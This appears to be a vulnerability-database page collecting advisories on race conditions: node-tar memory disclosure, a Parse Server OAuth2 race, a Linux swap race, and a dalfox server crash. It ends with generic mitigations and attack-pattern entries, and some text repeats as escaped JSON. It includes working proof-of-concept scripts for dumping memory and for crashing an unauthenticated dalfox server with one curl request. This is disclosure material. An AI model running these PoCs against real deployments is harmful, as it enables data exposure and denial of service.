Vulnerability from github – Published: 2025-10-30 17:13 – Updated: 2025-10-30 19:53Summary
Using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read.
Details
See: * https://github.com/isaacs/node-tar/issues/445 * https://github.com/isaacs/node-tar/pull/446 * Regression happened in https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d
PoC
A:
import * as tar from 'tar'
import fs from 'node:fs'
fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))
// from readme
const filesAdded = []
tar.c(
{
sync: true,
file: 'tar.test.tmp.tar',
onWriteEntry(entry) {
// initially, it's uppercase and 0o644
console.log('adding', entry.path, entry.stat.mode.toString(8))
// make all the paths lowercase
entry.path = entry.path.toLowerCase()
// make the entry executable
entry.stat.mode = 0o755
// in the archive, it's lowercase and 0o755
filesAdded.push([entry.path, entry.stat.mode.toString(8)])
},
},
['./tar.test.tmp'],
)
const a = fs.readFileSync('tar.test.tmp.tar')
for (let i = 0; ; i++){
if (i % 10000 === 0) console.log(i)
fs.writeFileSync('tar.test.tmp.tar', a)
fs.truncateSync('tar.test.tmp.tar', 600)
}
B (vulnerable):
import * as tar from 'tar'
import * as fs from 'fs'
while (true) {
fs.readFileSync(import.meta.filename)
tar.t({
sync: true,
file: 'tar.test.tmp.tar',
onReadEntry: e => e.on('data', b => {
const a = b.filter(x => x)
if (a.length > 0) console.log(a.toString())
})
})
}
Run A and B in parallel on Node.js 22 or >=25.1.0
Dumps B memory (wait for some time to observe text data)
Impact
Exposes process memory and could result in e.g. unintentionally (aka attacker-controlled) attempting to process sensitive data rather than tar entry contents. Uninitialized memory can contain unrelated file contents, environment variables, passwords, etc.
To execute, an attacker must reduce the file size to boundary between a tar header and body block, in the time between when the tar archive file size is read via stat, and the time when the tar archive parser reaches the entry that is truncated. If the file is truncated at a different boundary, then the uninitialized data will very likely not be a valid tar entry, causing the parser to treat the entry as a damaged archive (that is, throwing an error in strict: true mode, or by default, skipping the entry harmlessly).
This is conditional on using the sync: true option to the tar.list/tar.t method, and the 7.5.1 version specifically. Earlier versions were not affected.
This is also conditional to attacker being able to truncate (or induce a truncation/replacement) of a file on disk (e.g. in cache).
If the tar file is initially larger than the opt.maxReadSize (16kb by default), then uninitialized memory is not exposed to user code, and instead the program enters an infinite loop, causing a DoS rather than an information disclosure vulnerability.
By default, tar.list does not process tar archive entry body content. So, this is further conditional on the user code doing something with the tar entry file contents in an onReadEntry method which would expose the file contents (for example, attempting to parse them in such a way that the uninitialized data could appear in an error message).
Other methods in this library (tar.extract, etc.) are not affected by this vulnerability.

GHSA-2CJM-2GWV-M892
Vulnerability from github – Published: 2026-03-12 17:29 – Updated: 2026-03-13 13:36Impact
Parse Server's built-in OAuth2 auth adapter exports a singleton instance that is reused directly across all OAuth2 provider configurations. Under concurrent authentication requests for different OAuth2 providers, one provider's token validation may execute using another provider's configuration, potentially allowing a token that should be rejected by one provider to be accepted because it is validated against a different provider's policy.
Deployments that configure multiple OAuth2 providers via the oauth2: true flag are affected.
Patches
The fix ensures that a new adapter instance is created for each provider instead of reusing the singleton, so each provider's configuration is isolated.
Workarounds
There is no known workaround. If only a single OAuth2 provider is configured, the race condition cannot occur.

GHSA-2FXM-8374-C95M
Vulnerability from github – Published: 2024-05-01 06:31 – Updated: 2026-05-12 12:31In the Linux kernel, the following vulnerability has been resolved:
mm: swap: fix race between free_swap_and_cache() and swapoff()
There was previously a theoretical window where swapoff() could run and teardown a swap_info_struct while a call to free_swap_and_cache() was running in another thread. This could cause, amongst other bad possibilities, swap_page_trans_huge_swapped() (called by free_swap_and_cache()) to access the freed memory for swap_map.
This is a theoretical problem and I haven't been able to provoke it from a test case. But there has been agreement based on code review that this is possible (see link below).
Fix it by using get_swap_device()/put_swap_device(), which will stall swapoff(). There was an extra check in _swap_info_get() to confirm that the swap entry was not free. This isn't present in get_swap_device() because it doesn't make sense in general due to the race between getting the reference and swapoff. So I've added an equivalent check directly in free_swap_and_cache().
Details of how to provoke one possible issue (thanks to David Hildenbrand for deriving this):
--8<-----
__swap_entry_free() might be the last user and result in "count == SWAP_HAS_CACHE".
swapoff->try_to_unuse() will stop as soon as soon as si->inuse_pages==0.
So the question is: could someone reclaim the folio and turn si->inuse_pages==0, before we completed swap_page_trans_huge_swapped().
Imagine the following: 2 MiB folio in the swapcache. Only 2 subpages are still references by swap entries.
Process 1 still references subpage 0 via swap entry. Process 2 still references subpage 1 via swap entry.
Process 1 quits. Calls free_swap_and_cache(). -> count == SWAP_HAS_CACHE [then, preempted in the hypervisor etc.]
Process 2 quits. Calls free_swap_and_cache(). -> count == SWAP_HAS_CACHE
Process 2 goes ahead, passes swap_page_trans_huge_swapped(), and calls __try_to_reclaim_swap().

"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: swap: fix race between free_swap_and_cache() and swapoff()\n\nThere was previously a theoretical window where swapoff() could run and\nteardown a swap_info_struct while a call to free_swap_and_cache() was\nrunning in another thread. This could cause, amongst other bad\npossibilities, swap_page_trans_huge_swapped() (called by\nfree_swap_and_cache()) to access the freed memory for swap_map.\n\nThis is a theoretical problem and I haven\u0027t been able to provoke it from a\ntest case. But there has been agreement based on code review that this is\npossible (see link below).\n\nFix it by using get_swap_device()/put_swap_device(), which will stall\nswapoff(). There was an extra check in _swap_info_get() to confirm that\nthe swap entry was not free. This isn\u0027t present in get_swap_device()\nbecause it doesn\u0027t make sense in general due to the race between getting\nthe reference and swapoff.

Vulnerability from github – Published: 2026-05-12 15:08 – Updated: 2026-06-08 20:12Summary
ParameterAnalysis in pkg/scanning/parameterAnalysis.go runs two sequential worker stages that both write to the same results channel. The channel is correctly closed after the first stage completes (close(results) at line 438), but the second stage — which processes POST-body parameters (dp) — is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, processParams executes results <- paramResult on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever options.Data != "" (i.e., the attacker supplies the data field) and the target reflects at least one parameter.
Severity
High (CVSS 3.1: 7.5)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network — server binds to
0.0.0.0:6664by default; reachable by any network peer. - Attack Complexity: Low — the attacker controls both trigger conditions: the
datafield that populates the second stage's work queue, and the target URL they point at a reflective server they control. - Privileges Required: None —
--api-keydefaults to"", so no auth middleware is registered. - User Interaction: None.
- Scope: Unchanged — a goroutine panic without a
recoverterminates the entire Go process; the impact stays within the dalfox process authority. - Confidentiality Impact: None.
- Integrity Impact: None.
- Availability Impact: High — the entire dalfox server process crashes, requiring manual restart. A single well-timed request is sufficient.
Note on PR #917: Commit 8a424d1 (fix: resolve data race and nil pointer panic in processParams) fixed two concurrent-safety bugs in processParams — a data race on paramResult.Chars and a nil pointer dereference on resp.Header. It did not fix the closed-channel panic reported here, which is a structural ordering bug in ParameterAnalysis itself, not inside processParams.
Affected Component
pkg/scanning/parameterAnalysis.go—ParameterAnalysis()(lines 436–448):resultschannel closed at line 438, then passed to second-stageprocessParamsworkers at line 445pkg/scanning/parameterAnalysis.go—processParams()(line 299):results <- paramResultpanics whenresultsis closed
CWE
- CWE-362: Concurrent Execution Using Shared Resource with Improper Synchronization ('Race Condition') — channel lifecycle ordering error
- CWE-404: Improper Resource Shutdown or Release
Description
Two-Stage Channel Lifecycle Ordering Error
ParameterAnalysis allocates a single results channel shared by both worker stages:
// pkg/scanning/parameterAnalysis.go:397-408
paramsQue := make(chan string, concurrency)
results := make(chan model.ParamResult, concurrency) // ← single channel for both stages
go func() {
for result := range results { // consumer exits when results is closed
mutex.Lock()
params[result.Name] = result
mutex.Unlock()
}
}()
First stage (URL parameters in p):
// lines 410-437
for i := 0; i < concurrency; i++ {
wgg.Add(1)
go func() {
processParams(target, paramsQue, results, options, rl, miningCheckerLine, pLog)
wgg.Done()
}()
}
// ... feed paramsQue ...
close(paramsQue)
wgg.Wait()
close(results) // ← line 438: results is now closed; consumer goroutine exits
Second stage (POST-body parameters in dp):
// lines 440-448
var wggg sync.WaitGroup
paramsDataQue := make(chan string, concurrency)
for j := 0; j < concurrency; j++ {
wggg.Add(1)
go func() {
processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)
// ^^^^^^^ — same closed channel
wggg.Done()
}()
}
When a second-stage worker finds a reflected parameter, processParams sends to the closed channel:
// pkg/scanning/parameterAnalysis.go:299
results <- paramResult // panic: send on closed channel
A Go runtime panic in a goroutine without a recover terminates the entire program. In server mode, this kills the dalfox API server process.
Trigger Conditions Are Both Attacker-Controlled
Condition 1 — dp is non-empty: dp (the POST-body parameter map) is populated in addParamsFromWordlist → setP whenever options.Data != "":
// parameterAnalysis.go:41-45
if options.Data != "" {
if dp.Get(name) == "" {
dp.Set(name, "")
}
}
The attacker sets "data": "q=test" in the JSON body, which propagates through Initialize (lib/func.go:106). With "mining-dict": true, the entire GF-XSS wordlist (hundreds of parameters) flows into dp, ensuring the second stage has ample work.
Condition 2 — a parameter is reflected: processParams sends to results only when vrs (verified reflection) is true (line 252 → line 299). The attacker controls the target URL — they point it at a server they operate that reflects any query parameter, guaranteeing vrs = true on the first matching entry from the wordlist.
PR #917 Fixed Different Bugs
Commit 8a424d1 addressed:
1. Data race: concurrent append(paramResult.Chars, char) with no mutex → added charsMu sync.Mutex
2. Nil pointer: resp.Header accessed when resp == nil → added && resp != nil guard
Neither change touches the channel lifecycle in ParameterAnalysis. The closed-channel panic is independent and remains unpatched.
Proof of Concept
# Step 1 — Attacker-controlled reflective server
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
def _h(self):
qs = parse_qs(urlparse(self.path).query)
n = int(self.headers.get('Content-Length', '0'))
body = self.rfile.read(n).decode() if n else ''
bq = parse_qs(body)
v = qs.get('q', [''])[0] or bq.get('q', [''])[0]
out = f'<html><body>{v}</body></html>'.encode()
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.send_header('Content-Length', str(len(out)))
self.end_headers()
self.wfile.write(out)
def do_GET(self): self._h()
def do_POST(self): self._h()
def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18083), H).serve_forever()
PY
# Step 2 — Start dalfox REST server (default: no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest
# Step 3 — Single unauthenticated request terminates the server process
curl -s -X POST http://127.0.0.1:16664/scan \
-H 'Content-Type: application/json' \
--data '{
"url": "http://127.0.0.1:18083/?q=test",
"options": {
"data": "q=test",
"mining-dict": true,
"use-headless": false,
"worker": 1
}
}'
# Expected: dalfox process exits immediately with:
# goroutine N [running]:
# panic: send on closed channel
# pkg/scanning/parameterAnalysis.go:299 +0x...
# Step 4 — Verify server is down
curl -s http://127.0.0.1:16664/health
# Expected: connection refused
No X-API-KEY header is required. The reflective server is attacker-controlled and guarantees the vrs = true condition that triggers the channel write.
Impact
- Complete server process crash on a single unauthenticated POST request — no login, no API key, no special permissions required.
- All in-flight scans are lost without results.
- The server requires a manual restart; under automated process managers (systemd, Docker
--restart=always) repeated triggering can create a denial-of-service loop. - The attack requires only network access to port 6664 and a reflective HTTP server reachable by the dalfox instance — both attacker-controlled conditions.
Recommended Remediation
Option 1: Allocate a fresh results channel for the second stage (preferred)
The simplest and most direct fix: give each stage its own channel and consumer. The second stage should not reuse a channel that was created and closed for the first stage.
// pkg/scanning/parameterAnalysis.go — replace the second stage block:
var wggg sync.WaitGroup
paramsDataQue := make(chan string, concurrency)
results2 := make(chan model.ParamResult, concurrency) // fresh channel
go func() {
for result := range results2 {
mutex.Lock()
params[result.Name] = result
mutex.Unlock()
}
}()
for j := 0; j < concurrency; j++ {
wggg.Add(1)
go func() {
processParams(target, paramsDataQue, results2, options, rl, miningCheckerLine, pLog)
wggg.Done()
}()
}
// ... feed paramsDataQue ...
close(paramsDataQue)
wggg.Wait()
close(results2) // close after all writers are done
Option 2: Merge both parameter maps before the single worker stage
Process p and dp entries through a single shared paramsQue and results, eliminating the two-stage design:
// Before the worker loop, merge dp into p (or into a unified queue):
for k := range dp {
// feed to the same paramsQue along with p entries
}
// Then run a single close(paramsQue) → wgg.Wait() → close(results)
This is a more invasive refactor but removes the structural root cause. The current two-stage design is the fundamental source of the ordering bug.
Option 3: Add a recover in processParams goroutines (stopgap only)
Catching the panic prevents the process from crashing but does not fix the lost results or the channel invariant violation. Recommended only as a temporary defensive measure while the channel lifecycle is corrected:
go func() {
defer func() {
if r := recover(); r != nil {
printing.DalLog("ERROR", fmt.Sprintf("processParams panic recovered: %v", r), options)
}
wggg.Done()
}()
processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)
}()
Option 1 is the recommended primary fix. Option 3 should be combined with Option 1, not used as a substitute.

The closed-channel panic is independent and remains unpatched.\n\n## Proof of Concept\n\n```bash\n# Step 1 \u2014 Attacker-controlled reflective server\npython3 - \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import urlparse, parse_qs\nclass H(BaseHTTPRequestHandler):\n def _h(self):\n qs = parse_qs(urlparse(self.path).query)\n n = int(self.headers.get(\u0027Content-Length\u0027, \u00270\u0027))\n body = self.rfile.read(n).decode() if n else \u0027\u0027\n bq = parse_qs(body)\n v = qs.get(\u0027q\u0027, [\u0027\u0027])[0] or bq.get(\u0027q\u0027, [\u0027\u0027])[0]\n out = f\u0027\u003chtml\u003e\u003cbody\u003e{v}\u003c/body\u003e\u003c/html\u003e\u0027.encode()\n self.send_response(200)\n self.send_header(\u0027Content-Type\u0027, \u0027text/html\u0027)\n self.send_header(\u0027Content-Length\u0027, str(len(out)))\n self.end_headers()\n self.wfile.write(out)\n def do_GET(self): self._h()\n def do_POST(self): self._h()\n def log_message(self, *a): pass\nHTTPServer((\u0027127.0.0.1\u0027, 18083), H).serve_forever()\nPY\n\n# Step 2 \u2014 Start dalfox REST server (default: no API key)\ngo run . server --host 127.0.0.1 --port 16664 --type rest\n\n# Step 3 \u2014 Single unauthenticated request terminates the server process\ncurl -s -X POST http://127.0.0.1:16664/scan \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\n \"url\": \"http://127.0.0.1:18083/?q=test\",\n \"options\": {\n \"data\": \"q=test\",\n \"mining-dict\": true,\n \"use-headless\": false,\n \"worker\": 1\n }\n }\u0027\n\n# Expected: dalfox process exits immediately with:\n# goroutine N [running]:\n# panic: send on closed channel\n# pkg/scanning/parameterAnalysis.go:299 +0x...\n\n# Step 4 \u2014 Verify server is down\ncurl -s http://127.0.0.1:16664/health\n# Expected: connection refused\n```\n\nNo `X-API-KEY` header is required. The reflective server is attacker-controlled and guarantees the `vrs = true` condition that triggers the channel write.\n\n## Impact\n\n- **Complete server process crash** on a single unauthenticated POST request \u2014 no login, no API key, no special permissions required.\n- All in-flight scans are lost without results.\n- The server requires a manual restart; under automated process managers (systemd, Docker `--restart=always`) repeated triggering can create a denial-of-service loop.\n- The attack requires only network access to port 6664 and a reflective HTTP server reachable by the dalfox instance \u2014 both attacker-controlled conditions.\n\n## Recommended Remediation\n\n### Option 1: Allocate a fresh `results` channel for the second stage (preferred)\n\nThe simplest and most direct fix: give each stage its own channel and consumer. The second stage should not reuse a channel that was created and closed for the first stage.\n\n```go\n// pkg/scanning/parameterAnalysis.go \u2014 replace the second stage block:\n\nvar wggg sync.WaitGroup\nparamsDataQue := make(chan string, concurrency)\nresults2 := make(chan model.ParamResult, concurrency) // fresh channel\n\ngo func() {\n for result := range results2 {\n mutex.Lock()\n params[result.Name] = result\n mutex.Unlock()\n }\n}()\n\nfor j := 0; j \u003c concurrency; j++ {\n wggg.Add(1)\n go func() {\n processParams(target, paramsDataQue, results2, options, rl, miningCheckerLine, pLog)\n wggg.Done()\n }()\n}\n\n// ... feed paramsDataQue ...\nclose(paramsDataQue)\nwggg.Wait()\nclose(results2) // close after all writers are done\n```\n\n### Option 2: Merge both parameter maps before the single worker stage\n\nProcess `p` and `dp` entries through a single shared `paramsQue` and `results`, eliminating the two-stage design:\n\n```go\n// Before the worker loop, merge dp into p (or into a unified queue):\nfor k := range dp {\n // feed to the same paramsQue along with p entries\n}\n// Then run a single close(paramsQue) \u2192 wgg.Wait() \u2192 close(results)\n```\n\nThis is a more invasive refactor but removes the structural root cause. The current two-stage design is the fundamental source of the ordering bug.\n\n### Option 3: Add a `recover` in processParams goroutines (stopgap only)\n\nCatching the panic prevents the process from crashing but does not fix the lost results or the channel invariant violation. Recommended only as a temporary defensive measure while the channel lifecycle is corrected:\n\n```go\ngo func() {\n defer func() {\n if r := recover(); r != nil {\n printing.DalLog(\"ERROR\", fmt.Sprintf(\"processParams panic recovered: %v\", r), options)\n }\n wggg.Done()\n }()\n processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)\n}()\n```\n\nOption 1 is the recommended primary fix. Option 3 should be combined with Option 1, not used as a substitute.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",

Mitigation
In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.
Mitigation
Use thread-safe capabilities such as the data access abstraction in Spring.
Mitigation
- Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.
- Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
Mitigation
When using multithreading and operating on shared variables, only use thread-safe functions.
Mitigation
Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.
Mitigation
Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.
Mitigation
Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.
Mitigation
Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.
Mitigation
Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
CAPEC-26: Leveraging Race Conditions
The adversary targets a race condition occurring when multiple processes access and manipulate the same resource concurrently, and the outcome of the execution depends on the particular order in which the access takes place. The adversary can leverage a race condition by "running the race", modifying the resource and modifying the normal execution flow. For instance, a race condition can occur while accessing a file: the adversary can trick the system by replacing the original file with their version and cause the system to read the malicious file.
CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions
This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.
